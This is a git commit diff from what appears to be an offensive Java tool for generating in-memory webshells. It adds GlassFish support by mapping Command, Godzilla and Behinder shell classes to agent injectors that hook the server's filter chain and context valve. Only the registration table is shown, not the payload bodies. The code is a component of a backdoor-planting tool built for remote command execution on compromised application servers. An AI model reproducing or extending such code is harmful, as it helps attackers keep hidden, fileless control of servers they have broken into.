feat: support GlassFish agent shell (#23)

1. hook point1 is org.apache.catalina.core.ApplicationFilterChain.doFilter
2. hook point2 is org.apache.catalina.core.StandardContextValve.invoke
3. GlassFish use osgi module, cipher class not in web-core, so that should use ContextClassLoader (resolved #23)
This commit is contained in:
ReaJason
2025-01-10 00:56:26 +08:00
parent 5540016f12
commit f92d7207c8
11 changed files with 115 additions and 44 deletions
@@ -7,11 +7,16 @@ import com.reajason.javaweb.memshell.glassfish.injector.GlassFishFilterInjector;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector;
import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Map;
@@ -32,7 +37,9 @@ public class GlassFishShell extends AbstractShell {
LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class),
JAKARTA_LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class),
VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class),
JAKARTA_VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class)
JAKARTA_VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class),
AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class),
AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)
);
}
@@ -44,7 +51,9 @@ public class GlassFishShell extends AbstractShell {
LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class),
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class),
VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class),
JAKARTA_VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class)
JAKARTA_VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class),
AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class),
AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)
);
}
@@ -56,7 +65,9 @@ public class GlassFishShell extends AbstractShell {
LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
JAKARTA_LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class),
VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class),
JAKARTA_VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class)
JAKARTA_VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class),
AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class),
AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class)
);
}
}